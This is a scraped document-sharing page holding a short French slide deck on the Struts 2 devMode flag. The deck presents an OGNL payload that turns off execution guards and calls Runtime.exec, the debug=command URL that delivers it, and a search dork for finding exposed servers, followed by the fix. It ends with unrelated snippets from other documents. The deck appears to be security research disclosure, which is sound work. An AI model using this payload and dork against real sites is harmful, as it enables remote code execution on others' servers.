• Aucun résultat trouvé

Le flag DevMode de Struts 2

N/A
N/A
Protected

Academic year: 2022

Partager "Le flag DevMode de Struts 2"

Copied!
6
0
0

Texte intégral

(1)

Le flag DevMode de Struts 2

Renaud Dubourguais

<renaud.dubourguais@synacktiv.com>

(2)

Struts 2 et CVE

Depuis 2010, une à deux vulnérabilités critiques par an :

CVE-2010-1870: ParameterInterceptor

CVE-2011-3923: ParameterInteceptor

CVE-2012-0391: ExceptionDelegator

CVE-2012-0392: CookieInteceptor

Toutes permettent l'exécution de code Java arbitraire à distance :

Par l'injection de code OGNL (accès à toute l'API Java)

Généralement anonymement

Version 2.3.3 enfin “sécurisée” à l'aide d'expressions régulières :

Les failles pouvaient être trouvées par un simple grep

(3)

DebuggingInterceptor

“Feature” proposée pour les développeurs, désactivée par défaut

Permet de réaliser du debugging à tout instant sur l'application via le navigateur

Récupération du contexte de l'action/session/application en cours

Consultation / Modification de ce contexte

Accès à l'ensemble de l'API OGNL et donc Java

Une ligne dans le fichier struts.xml permet de l'activer :

Si activé : exécution de code Java arbitraire quelque soit la version de Struts 2

<struts>

[...]

    <constant name="struts.devMode" value="true" />

[…]

</struts>

(4)

De l'OGNL au remote exec

Par défaut :

Invocation des méthodes statiques interdite

Exécution de méthodes désactivée suivant les versions

Paramètres de configuration accessibles de la pile OGNL

Donc si la pile OGNL est manipulable (cf. Meder Kydyraliev) :

Il ne reste plus qu'à appeler la méthode magique :

#context["xwork.MethodAccessor.denyMethodExecution"]= true

#_memberAccess["allowStaticMethodAccess"]= true 

@java.lang.Runtime@getRuntime().exec('id')

(5)

DebuggingInterceptor: exploitation

Deux modes de fonctionnement :

command : prévu pour le scripting

console : affiche une console de debug dans le navigateur

http://<server>/myaction.action?debug=command

&expression=<OGNL_expression>

http://<server>/myaction.action?debug=console

(6)

Qui est vulnérable ?

Une simple requête sur un moteur de recherche suffit :

Si le devMode activé:

Des pages caractéristiques sont accessibles

Et elles sont indexées sur Google, Bing, Yahoo, Exalead, ...

40 000 résultats dont des sites de grands groupes

Solution:

<struts>

[...]

    <constant name="struts.devMode" value="false" />

[…]

</struts>

intitle:'Struts Problem Report'

Références

Documents relatifs

La confusion entre les routeurs au sujet de quelle instance de LSA est plus récente peut causer une inondation désastreuse dans un protocole d’état de liaison (voir [Ref26]). OSPF

Théoriquement, il suffit de suivre ces différentes étapes : récupérer le handle d'un processus en cours d'exécution, allouer de la mémoire virtuelle dans ce processus pour

In antisymmetric wrinkling, the top and bottom face sheets buckle in-phase, which produces a wrinkled mid-surface of the core; in symmetric wrinkling, the top and bottom face

Zuzammenfassung &amp;mdash; In dieser Arbeit wird der Übergang von radioaktivem Caesium aus dem Bo- den in die Rapspflanzen (Brassica napus var. oleifera), die

The study aims to analyze software systems developed using these Java EE frameworks for the purpose of measuring software quality with respect to the estimated TD and selected

Here is a RECURSIVE function to compute the Fibonacci sequence of number n.. But we need more memory to store values in

Un IDE permet plus facilement de fabriquer des JAR.. 2) Coder la classe TestString (dans le poly). 3) Coder les classes d’utilisation d’une structure dans le main (dans le

NLDM Release 2, program number 5668-971, is an online interactive facility that provides the Network Communications Control Facility (NCCF) operator with session awareness